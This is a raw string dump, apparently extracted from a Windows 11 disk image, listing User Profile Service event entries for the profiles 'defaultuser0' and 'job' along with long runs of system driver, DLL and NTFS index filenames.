Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1000_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\defaultuser0 Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1000_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\defaultuser0 Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1001_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\job Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1001_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\job Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1001_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\job Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\job\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1001_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\job Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational dxgmms2.sys0 dxgmms2.sys WofCompressedData $DSC dxgmms2.sys WofCompressedData $DSC e1e6032e.sys e1e6032e.sys WofCompressedData $DSC E1G6032E.sys E1G6032E.sys WofCompressedData $DSC FSDEPE~1.SYS fsdepends.sys fsdepends.sys WofCompressedData $DSC fvevol.sys $DSC $DSC fvevol.sys fvevol.sys WofCompressedData $DSC FWPKCLNT.SYS FWPKCLNT.SYS WofCompressedData $DSC http.sys http.sys WofCompressedData $DSC hvsocket.sys hvsocket.sys WofCompressedData $DSC hvsocket.sys $DSC $DSC hwpolicy.sys $DSC $DSC msxml3r.dll.mui0 MSXML3~1.MUI msxml3r.dll.mui0 msxml3r.dll.mui WofCompressedData $DSC lan7800-x64-n650f.sys LAN780~1.SYS lan7800-x64-n650f.sys WofCompressedData $DSC msxml6r.dll.mui0 MSXML6~1.MUI msxml6r.dll.mui0 msxml6r.dll.mui WofCompressedData $DSC lan9500-x64-n650f.sys LAN950~1.SYS lan9500-x64-n650f.sys WofCompressedData $DSC mpsdrv.sys mpsdrv.sys WofCompressedData $DSC mpsdrv.sys $DSC mrxsmb.sys $DSC $DSC mrxsmb.sys mrxsmb.sys WofCompressedData $DSC mvumis.sys mvumis.sys mvumis.sys WofCompressedData $DSC ndfltr.sys ndfltr.sys ndfltr.sys WofCompressedData $DSC ndis.sys WofCompressedData $DSC ndis.sys ndis.sys WofCompressedData $DSC ntfs.sys ntfs.sys WofCompressedData $DSC ntfs.sys WofCompressedData $DSC ntosext.sys $DSC $DSC ntosext.sys0 ntosext.sys WofCompressedData $DSC rassstp.sys0 rassstp.sys WofCompressedData $DSC rdbss.sys rdbss.sys WofCompressedData $DSC rdbss.sys WofCompressedData $DSC refs.sys refs.sys WofCompressedData $DSC TtlsCfg.dll.mui0 TtlsCfg.dll.mui0 TTLSCF~1.MUI TtlsCfg.dll.mui WofCompressedData $DSC WofCompressedData $DSC spacedump.sys $DSC WofCompressedData $DSC spaceport.sys $DSC SPACEP~1.SYS spaceport.sys WofCompressedData $DSC srv.sys $DSC $DSC urlmon.dll.mui urlmon.dll.mui urlmon.dll.mui WofCompressedData $DSC srv.sys $DSC srv2.sys srv2.sys WofCompressedData $DSC storahci.sys storahci.sys storahci.sys WofCompressedData $DSC user32.dll.mui USER32~1.MUI user32.dll.mui user32.dll.mui WofCompressedData $DSC storahci.sys $DSC $DSC stornvme.sys stornvme.sys stornvme.sys WofCompressedData $DSC "UserDeviceRegistration.Ngc.dll.mui USERDE~2.MUI UserDeviceRegistration.Ngc.dll.mui $DSC stornvme.sys WofCompressedData $DSC storport.sys storport.sys WofCompressedData $DSC storport.sys WofCompressedData $DSC tcpip.sys tcpip.sys WofCompressedData $DSC tcpip.sys WofCompressedData $DSC tcpipreg.sys tcpipreg.sys WofCompressedData $DSC tcpipreg.sys $DSC $DSC udfs.sys udfs.sys WofCompressedData $DSC tiptsf.dll tiptsf.dll WofCompressedData $DSC $DSC uefi.sys uefi.sys WofCompressedData $DSC uefi.sys $DSC $DSC 0409 80ae3b998-9a38-4b72-a4c4-06849441518d_Servicing-Stack.dll /3bc29097-7317-41d3-93b9-38a48f99d48a_mssrch.dll 14545ffe2-0dc4-4df4-9d02-299ef204635e_hvsocket.dll 5E37410B-D6F1-471D-AE27-563CEAC0D6B2_ev 5E3741~1-26 869fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll =6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dllCC $@AdvancedKeySettingsNotification.png @AppHelpToast.pngpn @AudioToastIcon.png @AutoSrToastIcon.png @BackgroundAccessToastIcon.pngl @bitlockertoastimage.pngows @edptoastimage.pngn lo-rejuv.gif %@facial-recognition-windows-hello.gif @language_notification_icon.png @optionalfeatures.png @StorageSenseToastIcon.png @VpnToastIcon.pngts @WindowsHelloFaceToastIcon.png #@WindowsHelloFaceToastIconRejuv.png aadauthhelper.dllts aadcloudap.dlls aadjcsp.dll aadtb.dllal aadWamExtension.dll AarSvc.dlll korean.uce ksetup.exe ksproxy.ax kstvtune.ax ksuser.dll Kswdmcap.ax ksxbar.axl ktmutil.exe ktmw32.dll l2gpstore.dll l2nacp.dllc l3codeca.acmR l3codecp.acmR la57setup.exe label.exe.d LampArray.dll LangCleanupSysprepAction.dll LanguageComponentsInstaller.dll )LanguageComponentsInstallerComHandler.exe LanguageOverlayServer.dll LanguageOverlayUtil.dll lapscsp.dll LargeRoom.bin lb-LU LegacyNetUX.dll LegacySystemSettings.dlltr. lfsvc.dllle libcrypto.dlldl liblouis.dlltro libsmartscreenn.dll LicenseManager.dll LicenseManagerApi.dll LicenseManagerSvc.dll licenseprotection.dll MSDRM msdtc.exedl msdtckrm.dll msdtclog.dll msdtcprx.dll msdtcspoffln.dllT msdtctm.dll msdtcuiu.dll msdtcVSp1res.dllT MSDvbNP.axl msdxm.ocxdl msdxm.tlbll msfeeds.dll msfeedsbs.dll msfeedssync.exe MSFlacDecoder.dll MSFlacEncoder.dll msftedit.dll MsftOemDllIgneous.dll msg.exe msg711.acm msgsm32.acm mshta.exedl MsiCofire.dll msiltcfg.dllH msimg32.dll msIso.dll mskeyprotect.dll msls31.dll MSNP.ax msobjs.dll mspatcha.dllH mspatchc.dllH msports.dll msprivs.dll mssign32.dllH mssip32.dll rControlTemplates.xsd.da @EnrollmentToastIcon.pngows AboutSettingsHandlers.dll ActionCenterCPL.dll? adsldp.dlll@ am-ET appidapi.dll AppReadiness.dll appwiz.cpllC as-IN AUDIOKSE.dll authui.dll BackgroundMediaPolicy.dll be-BYT~E blb_ps.dll bridgeres.dllloF Bthprops CapabilityAccessManager.dll cdpsvc.dllSG CfgSPPolicy.dllH cimfs.dllriI CloudExperienceHostCommon.dll cnvfat.dlliL CompPkgSup.dll ConnectionAttributionApi.dll DriverStore el-GR fi-FI fveui.dll HealthAttestationClient ifsutil.dll ja-jp KBDADLM.DLL KBDBUG.DLL slc.dll slcext.dll SleepStudyt SLEEPS~1hut SlideToShutDown.exe slmgr slmgr.vbs.b slui.exel.b slwga.dll.b SmallRoom.bin SmartActionPlatform.dll SmartCardBackgroundPolicy.dll SmartcardCredentialProvider.dll SmartCardSimulator.dll smartscreen.dll smartscreen.exe smartscreenps.dll SMBHelperClass.dll smbwmiv2.dll SmiEngine.dll smphost.dll SmsRouterSvc.dllX spaceutil.exe SpatialAudioLicenseSrv.exe Speech Speech_OneCore spfileq.dll spinf.dll spoolH~ spp.dll sppc.dll sppnp.dll sppui sq-AL amcompat.tlb amsi.dllhem amsiproxy.dlldl amstream.dll.dl apds.dllhem APHostClient.dllT APHostRes.dlldl APHostService.dll apisampling.dll ApiSetHost.AppExecutionAlias.dll apisetschema.dllT APMon.dll APMonUI.dll AppContracts.dllT AppExtension.dllT appfootprint.dllT apphelp.dll Apphlpdm.dll AppHostRegistrationVerifier.exe appidsvc.dll appinfo.dll appinfoext.dll AppInstallerPrompt.Desktop.dll ApplicationControlCSP.dll ApplicationFrame.dll &ApplicationTargetedFeatureDatabase.dll AppListBackupLauncher.dll AppLocker AppLockerCSP.dllJ AppMon.dll AppointmentActivation.dll AppointmentApis.dll appraiser AppVAI~ ifsutilx.dll IHDS.dllLLc IKEEXT.DLLc imaadp32.acm imagehlp.dll imageres.dll imagesp1.dll imapi.dll imapi2.dll imapi2fs.dll ime_textinputhelpers.dll imgutil.dll imm32.dll immersivetpmvscmgrsvr.exe ImplatSetup.dll IndexedDbLegacy.dll inetcomm.dll inetcpl.cpl inetpp.dll inetppui.dlll INETRES.dll inetsrv InfDefaultInstall.exe InkEd.dllod InkObjCore.dll input.dllod InputMethod intl.cpl.ex ipconfig.exeL IPHLPAPI.DLLL IpmiTM~ IPSECSVC.DLLL irprops.cpl is-IS iscsilog.dllL it-IT kd_02_1137.dll kd_02_1414.dll kd_02_14e4.dll kd_02_15ad.dll kd_02_15b3.dll kd_02_1969.dll kd_02_19a2.dll kd_02_1af4.dll kd_02_1d0f.dll kd_02_8086.dll kd_07_1415.dll kd_0C_8086.dll keepaliveprovider.dll kerb3961.dll KerbClientShared.dll kerberos.dll kernel.appcore.dll kernel32.dll KernelBase.dll KeyboardFilterCore.dlln *KeyboardSystemToastIcon.contrast-white.png KeyboardSystemToastIcon.png KeyCredMgr.dll keyiso.dll keymgr.dll !KeywordDetectorMsftSidAdapter.dll Keywords kk-KZ klist.exe km-KH kmddsp.tsp kn-IN KnobsCore.dll KnobsCsp.dll ko-KR KBDGRE2.DLL KBDINASA.DLL KBDIT142.DLL KBDLV1.DLL KBDNO.DLL KBDRUM.DLL KBDTAM99.DLL KBDUR.DLL kd_02_10ec.dll kernel32.dll kok-IN LanguagePackDiskCleanup.dll Licenses LocationFramework.dll logman.exelk lz32.dllact MapsCSP.dll! mcmsvc.dllul MediumRoom.bin mfc140fra.dll mfh263enc.dll mftranscode.dllo ml-IN mountvol.exeV MRINFO.EXE !MSAProfileNotificationHandler.dll MsDtc mshtml.dlll MsixDataSourceExtensionPS.dll msv1_0.dll mswmdm.dlllv NarratorMCAT ncsi.dllL netlogon.dll pcwutl.dllS pdh.dll pdhui.dllnS PeerDist.dllePr PeerDistAD.dllr PeerDistCacheProvider.dll PeerDistCleaner.dll PeerDistHttpTrans.dll PeerDistSh.dlll PeerDistSvc.dll PeerDistWSDDiscoProv.dll pegi-pt.rs pegi.rs PenService.dlll PeopleAPIs.dlll PeopleBand.dlll PerceptionSimulation #PerceptionSimulation.ProxyStubs.dll PerceptionSimulationManager.dll perfc009.dat^ perfd009.dat^ perfdisk.dll^ perfh009.dat^ perfi009.dat^ perfmon.exe perfmon.msc perfnet.dll PhoneProviders.dll PhoneService.dllV PhoneServiceRes.dll Phoneutil.dll PhoneutilRes.dllV PING.EXE PkgMgr.exe pl-PLP~ tracerpt.exe TRACERT.EXE traffic.dll TranscodeWallpaper.dll TransferTargets.dll TransliterationRanker.dll TransportDSA.dllt tree.com trie.dllign trkwks.dlln TrustedSignalCredProv.dll tsbyuv.dllX tscfgwmi.dll tscon.exer. tsdiscon.exell TSErrRedir.dll tsf3gip.dll tsgqec.dllX tskill.exeX tsmf.dllnUX TSpkg.dllUX tspubwmi.dlldll TSSessionUX.dll tssrvlic.dll TSTheme.exe uexfat.dll ufat.dll ug-CN UIAutomationCore.dll uiomapapi.dll uk-UA ulib.dll umpdc.dll umpnpmgr.dllV umpo.dll zh-CN zh-TW taskschd.dllZ taskschd.mscll TaskSchdPS.dll tbauth.dll tbs.dll tcblaunch.exe tcbloader.dll tcmsetup.exeL tcpbidi.xml tcpipcfg.dllL tcpmib.dll tcpmon.dllE tcpmon.inil tcpmonui.dll TCPSVCS.EXE tdc.ocx tdh.dll tdhres.dll TDLMigration.dll te-IN telephon.cplmew TelephonyInteractiveUser.dll` TelephonyInteractiveUserRes.dll tellib.dll TetheringMgr.dllrk. TextInputFramework.dll TextShaping.dll th-TH tier2punctuations.dll TimeBrokerClient.dll TimeBrokerServer.dll timedate.cpl.dl tokenbinding.dll TpmCertResources.dll TpmCoreProvisioning.dll ).di nrpsrv.dll odbccp32.dllP oleaccrc.dllP opencl.dll PackageStateChangeHandler.dll pcwum.dllnS PerformanceTraceHandler.dll( pid.dll plutonfw_AuthenticAMD.dll popkeycli.dll ppcsnap.dll Printing_Admin_Scripts profapi.dll ProvPluginEng.dll PsmServiceExtHost.dll qdvd.dll rasppp.dll RdpSaProxy.exe Recovery relog.exeio* SensorsClassExtension.dll sl-SI sr-Cyrl-BA svsvc.dll Tasks tr-TR unattend.dllV uudf.dllUZ vsstrace.dll wevtapi.dll1 Windows.Storage.OneCore.dll2 winrmT~3 wmitomi.dll4 ntasn1.dll $DSC $DSC ntasn1.dll ntasn1.dll WofCompressedData $DSC $DSC ntasn1.dll ntasn1.dll WofCompressedData $DSC ntasn1.dll $DSC $DSC ntdll.dll ntdll.dll WofCompressedData $DSC ntdll.dll WofCompressedData $DSC ntdll.dll ntdll.dll WofCompressedData $DSC ntdll.dll WofCompressedData $DSC ntmarta.dll0 ntmarta.dll WofCompressedData $DSC $DSC ntmarta.dll0 ntmarta.dll WofCompressedData $DSC ntmarta.dll $DSC $DSC ntmarta.dll WofCompressedData $DSC ntprint.dll0 ntprint.dll WofCompressedData $DSC ntprint.dll $DSC $DSC ntshrui.dll $DSC $DSC ntshrui.dll0 ntshrui.dll WofCompressedData $DSC ole32.dll WofCompressedData $DSC ole32.dll ole32.dll WofCompressedData $DSC $DSC oleacc.dll oleacc.dll WofCompressedData $DSC CorePrivacySettingsStore.dll CorePrivacySettingsStore.dll WofCompressedData $DSC oleacc.dll $DSC $DSC CorePrivacySettingsStore.dll CorePrivacySettingsStore.dll WofCompressedData $DSC OLEACC~1.DLL oleacchooks.dll0 oleacchooks.dll WofCompressedData $DSC OLEACC~1.DLL oleacchooks.dll $DSC oleaccrc.dll $DSC oleaccrc.dll oleaccrc.dll WofCompressedData $DSC oleaut32.dll oleaut32.dll WofCompressedData $DSC $DSC oleaut32.dll oleaut32.dll WofCompressedData $DSC $DSC oleaut32.dll WofCompressedData $DSC oleaut32.dll WofCompressedData $DSC WofCompressedData $DSC ONECOR~1.DLL ONECOR~1.DLL OneCoreCommonProxyStub.dll WofCompressedData $DSC ONECOR~1.DLL OneCoreCommonProxyStub.dll WofCompressedData $DSC WofCompressedData $DSC ONECOR~1.DLL $DSC ONESET~1.DLL OneSettingsClient.dll OneSettingsClient.dll WofCompressedData $DSC WofCompressedData $DSC ONESET~1.DLL OneSettingsClient.dll $DSC PERFCO~1.DLL PerfCounterInstaller.dll WofCompressedData $DSC PERFCO~1.DLL PerfCounterInstaller.dll WofCompressedData $DSC PERFCO~1.DLL PerfCounterInstaller.dll WofCompressedData $DSC perfdisk.dll perfdisk.dll WofCompressedData $DSC $DSC perfnet.dll0 perfnet.dll WofCompressedData $DSC perfos.dll perfos.dll WofCompressedData $DSC $DSC perfproc.dll perfproc.dll WofCompressedData $DSC $DSC WofCompressedData $DSC PLUTON~1.DLL $DSC powrprof.dll $DSC $DSC powrprof.dll powrprof.dll WofCompressedData $DSC $DSC powrprof.dll powrprof.dll WofCompressedData $DSC $DSC powrprof.dll $DSC $DSC profapi.dll0 profapi.dll WofCompressedData $DSC $DSC profapi.dll $DSC $DSC profext.dll0 profext.dll WofCompressedData $DSC $DSC profext.dll $DSC $DSC profsvc.dll0 profsvc.dll WofCompressedData $DSC profsvc.dll $DSC $DSC propsys.dll0 propsys.dll WofCompressedData $DSC propsys.dll WofCompressedData $DSC provthrd.dll provthrd.dll WofCompressedData $DSC $DSC provthrd.dll $DSC PRVDMO~1.DLL prvdmofcomp.dll0 prvdmofcomp.dll WofCompressedData $DSC PRVDMO~1.DLL prvdmofcomp.dll $DSC $DSC PSHED.DLL $DSC PSMODU~1.DLL PSModuleDiscoveryProvider.dll $DSC WofCompressedData $DSC PSMODU~1.DLL $DSC rasadhlp.dll rasadhlp.dll WofCompressedData $DSC $DSC riched32.dll riched32.dll riched32.dll WofCompressedData $DSC $DSC RpcEpMap.dll $DSC RpcEpMap.dll RpcEpMap.dll WofCompressedData $DSC $DSC rpcrt4.dll rpcrt4.dll WofCompressedData $DSC $DSC rpcrt4.dll WofCompressedData $DSC RPCRTR~1.DLL RpcRtRemote.dll0 RpcRtRemote.dll WofCompressedData $DSC RPCRTR~1.DLL RpcRtRemote.dll $DSC $DSC rpcss.dll rpcss.dll WofCompressedData $DSC rpcss.dll WofCompressedData $DSC rsaenh.dll $DSC $DSC rsaenh.dll rsaenh.dll WofCompressedData $DSC rsaenh.dll rsaenh.dll WofCompressedData $DSC RTWorkQ.dll0 RTWorkQ.dll WofCompressedData $DSC $DSC samcli.dll samcli.dll WofCompressedData $DSC samcli.dll $DSC $DSC samcli.dll $DSC $DSC samcli.dll samcli.dll WofCompressedData $DSC samlib.dll $DSC $DSC samlib.dll samlib.dll WofCompressedData $DSC samlib.dll samlib.dll WofCompressedData $DSC FEATUR~1 FeatureStaging-External $I300 WIDGET~1.TAS Widgets.Taskbar $I300 Microsoft.Graphics.Canvas.dll MICROS~1.SPE MicrosoftWindows.59336768.Speion_cw5n1h2txyewy $I300 $I30 $I30 pris SpeechSynthesizer SPEECH~1 Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png pris $I300 SPEECH~1 SpeechSynthesizer $I300 $I30 $I30 core.dll :Microsoft.CognitiveServices.Speech.extension.audio.sys.dll MICROS~1.VOI MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy $I300 $I30 $I30 FREUserInterface FREUSE~1 IntentDefinitions Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png fr-FR $I300 UIElementNames.xml zh-HK $I300 UIElementNames.xml MICROS~1.LIV MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy $I300 $I30 $I30 LiveCaptions LIVECA~1 pris Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png LIVECA~1 LiveCaptions $I300 $I30 $I30 core.dll :Microsoft.CognitiveServices.Speech.extension.audio.sys.dll pris $I300 MICROS~1.INP MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy $I300 $I30 $I30 InputApp pris TextInput Assets $I300 $I30 $I30 SplashScreen.scale-200.png Square150x150Logo.scale-200.png Square44x44Logo.scale-200.png !Windows.PrintDialog_cw5n1h2txyewy $I300 $I30 $I30 Assets PrintDialog.exe pris resources.pri Assets $I300 $I30 $I30 !Square44x44Logo.targetsize-48.pngfo 7Square44x44Logo.targetsize-48_altform-lightunplated.png 2Square44x44Logo.targetsize-48_altform-unplated.png pris $I300 resources.en-US.pri SystemResources $I300 $I30 $I30 rastlsext.dll.mun Windows.SystemToast.PresenceSensing.OnlookerDetection $I30 $I30 tionPlatform Windows.UI.TaskManager $I300 pris Windows.UI.TaskManager.pri pris $I300 Windows.UI.TaskManager.en-US.pri SystemTemp $I300 $I30 $I30q 720C397D-7F0B-4BAE-BFE2-17182FB340C5ics B37214EA-9828-461B-A9A7-15082B98E45Cics $I30 $I30 SysWOW64 $I300 $I30 $I30 $TXF_DATA mfc42u.dll $I30 $I30 SAC~ mscms.dll mscoree.dll mscorier.dllL mscories.dllL mscpx32r.dLLL mscpxl32.dLLL msctf.dll msctfime.ime.dl MsCtfMonitor.dll msctfp.dll msctfui.dll msctfuimanager.dll msdadiag.dllL msdart.dll msdatsrc.tlb msdelta.dll msdmo.dll MSDRM msdrm.dll msdt.exe Msdtc MSDvbNP.ax msdxm.ocxm msg711.acm msgsm32.acm MSNP.ax msv1_0.dll msvcp110_win.dll msvcp60.dll msvcp_win.dll mswsock.dll mt-MT MuiUnattend.exe nb-NO ncpa.cplll ncrypt.dll mfperfhelper.dll migration mmcndmgr.dll MpeHttpExt.dll msclmd.dll msdtcprx.dll mshtmler.dllV msjtes40.dllV msports.dllG mstscax.dllH MSVideoDSP.dll ncryptprov.dll neth.dll.dl networkexplorer.dllL nsi.dllM odbccr32.dllll ole32.dlldlN onexui.dll pcrpf.dllnSP pl-PLP~Q PortableDeviceStatus.dll printui.dllS prvdmofcomp.dllT rasctrnm.h rdrleakdiag.exeR riched32.dllV samcli.dll Search.ProtocolHandler.MAPI2.dll SensorsUtilsV2.dlllY Speech th-TH wdscore.dll winhttpcom.dll MSVP9DEC.dll msvproc.dll MSVPXENC.dll MSWB7.dllll mswdat10.dll mswmdm.dlll mswsock.dll mswstr10.dllH msxbde40.dllH msxml3.dll msxml3r.dll msxml6.dll msxml6r.dll msyuv.dll mt-MT MTF.dll mtstocom.exe mtxclu.dll mtxdm.dll mtxex.dll mtxlegih.dll mtxoci.dll muifontsetup.dll MuiUnattend.exe mycomput.dllR mydocs.dll NAPCRYPT.DLLR NapiNSP.dll NaturalLanguage6.dll nb-NO NcaApi.dlll NcdProp.dll nci.dll ncobjapi.dll ncpa.cplll ncrypt.dll netid.dlldl netiohlp.dll netiougc.exe netjoin.dll netlogon.dll netmsg.dllt netplwiz.dlldll Netplwiz.exedll netprofm.dlldll netprovfw.dllll netprovisionsp.dll NetSetupApi.dll NetSetupEngine.dll NetSetupShim.dll netsh.exedl netshell.dll NETSTAT.EXE nettrace.dll nettracehelper.dll netutils.dll NetworkCollectionAgent.dll NetworkList newdev.dll newdev.exel ngccredprov.dll ngckeyenum.dll ngcksp.dlll ngclocal.dllL ngcutils.dllL ninput.dll nl-NLR~ nlaapi.dll nlansp_c.dllT nn-NO NOISE.DATdl normaliz.dll nrtapi.dll Axrd PCShellCommonProxyStub.dll pcwum.dllnS pdh.dll pdhui.dllnS PeerDist.dlllll PeerDistSh.dlll pegi-pt.rs pegi.rs PeopleAPIs.dlll PerceptionSimulation #PerceptionSimulation.ProxyStubs.dll perfdisk.dll perfhost.exe perfmon.exe perfmon.msc perfnet.dll perfos.dll perfproc.dll perfts.dll s.dll PhoneOm.dll PhonePlatformAbstraction.dll Phoneutil.dll PhoneutilRes.dll PhotoMetadataHandler.dll photowiz.dll PickerHost.exe. PickerPlatform.dll pid.dll pidgenx.dll pifmgr.dll PimIndexMaintenanceClient.dll Pimstore.dll PING.EXExe PkgMgr.exe pku2u.dll rasctrs.dll rasdiag.dll rasdial.exe rasdlg.dll raserver.exe rasgcw.dll rasman.dll rasmontr.dll rasphone.exe rasplap.dll rasppp.dll rastapi.dll rastls.dll rastlsext.dll RasToast rdpbase.dll rdpendp.dll RdpSa.exell RdpSaProxy.exe RdpSaPs.dll RdpSaUacHelper.exe rdpserverbase.dll rdpsharercom.dll rdpviewerax.dll rsaenh.dll ru-RU samcli.dll samlib.dll schannel.dllb schedcli.dllb ServicingCommon.dll setup setupapi.dllnce ShellExperiences sk-SKE~ sl-SI slmgr RMActivate.exe RMActivate_isv.exe RMActivate_ssp.exe RMActivate_ssp_isv.exe rmclient.dllV RmClient.exe rnr20.dll ro-RO Robocopy.exell rometadata.dll ROUTE.EXEll rpchttp.dll RpcNs4.dll rpcnsh.dll RpcPing.exe rpcrt4.dll RpcRtRemote.dll rrinstaller.exe rsaenh.dll rshx32.dll rsop.msc.dl RstrtMgr.dllV rtffilt.dll rtm.dll RTMediaFrame.dll rtutils.dll RTWorkQ.dll ru-RU runas.exech rundll32.exesch RunLegacyCPLElevated.exemon runonce.exe ShellExperiences sk-SKE~ sl-SI slmgr serialui.dllmon services.mscmon ServicingCommon.dll serwvdrv.dllZ SessEnv.dll sethc.exenc SettingSyncDownloadHelper.dll setup setup16.exe setupapi.dllnce setupcl.dll setupcln.dllnce setupugc.exeV setx.exe sfc.dll sfc.exe sfc_os.dlli shacct.dlli shacctprofile.dll ShareHost.dllce SHCore.dlli shdocvw.dll shell32.dll shell32.dll shimgvw.dll shlwapi.dll shpafact.dllL shsetup.dll shsvcs.dll shunimpl.dllL shutdownext.dll shwebsvc.dllL signdrv.dll SimAuth.dll sk-SKE~ sl-SI slmgr pcrpf.dllnSP pfclient.dll pl-PLP~ PortableDeviceStatus.dll printui.dllS prvdmofcomp.dllT rasctrnm.h rdrleakdiag.exeR riched32.dllV samcli.dll Search.ProtocolHandler.MAPI2.dll SensorsUtilsV2.dlllY ShellCommonCommonProxyStub.dll slc.dll[ Speech sr-Cyrl-RS sstpcfg.dll_ SystemSupportInfo.dll th-TH tree.comign tzres.dll unimdmat.dllX usercpl.dlle ustprov.dllf verifier.dllT wdscore.dllh wevtfwd.dll wincredprovider.dlli Windows.ApplicationModel.dlloxyj (Windows.Devices.HumanInterfaceDevice.dll Windows.Devices.SmartCards.dllyl winhttpcom.dll DeviceDisplayStatusManager.dll InkObjCore.dll mfc42u.dll onexui.dll sxsstore.dll Windows.Internal.Management.dllo slcext.dll slmgr slmgr.vbs slwga.dll SmartcardCredentialProvider.dll smartscreen.dll smartscreenps.dll SMBHelperClass.dll smphost.dll SndVol.exed SndVolSSO.dll snmpapi.dll socialapis.dll softkbd.dll softpub.dll sort.exeer2 SortServer2003Compat.dll SortWindows61.dll SortWindows62.dll SortWindows63.dll SortWindows64.dll SortWindows6Compat.dll SpatialAudioLicenseSrv.exe spbcd.dll sr-Latn-RS srchadmin.dllt srclient.dllat srdelayed.exet srm.dll srmclient.dllt srmlib.dll. srms-apr-v.dat srms-apr.dat srmscan.dll srmshell.dllll srmstormod.dll srmtrace.dll srm_ps.dll srpapi.dll SrpUxNativeSnapIn.dll srumapi.dll srumsvc.dll srvcli.dll sscore.dll ssdm.dllll ssdpapi.dll sspicli.dll SSShim.dll storage.dll StorageContextHandler.dll storagewmi.dll sv-SE svchost.exe sysdm.cpl sysprep syssetup.dllL ta-IN Tasks te-IN telephon.cpllCr tzutil.exel ucrtbase.dllL ucrtbase_clr0400.dll udhisapi.dllL UevCustomActionTypes.tlb uexfat.dll ufat.dll ug-CN UiaManager.dll UIAnimation.dll UIAutomationCore.dll uicom.dll UIManagerBrokerps.dll uireng.dll UIRibbon.dllT uk-UA ulib.dlll umdmxfrm.dll umpdc.dll unenrollhook.dll unimdm.tsp untfs.dll ur-PK userenv.dll userinit.exe utcapi.dll uz-Latn-UZ VBICodec.ax vbisurf.ax vi-VNT~ vidcap.axl vssapi.dll vsstrace.dllH vulkan-1.dllH wbem wdigest.dll TrustedSignalCredProv.dll tsbyuv.dll tsgqec.dll tsmf.dll 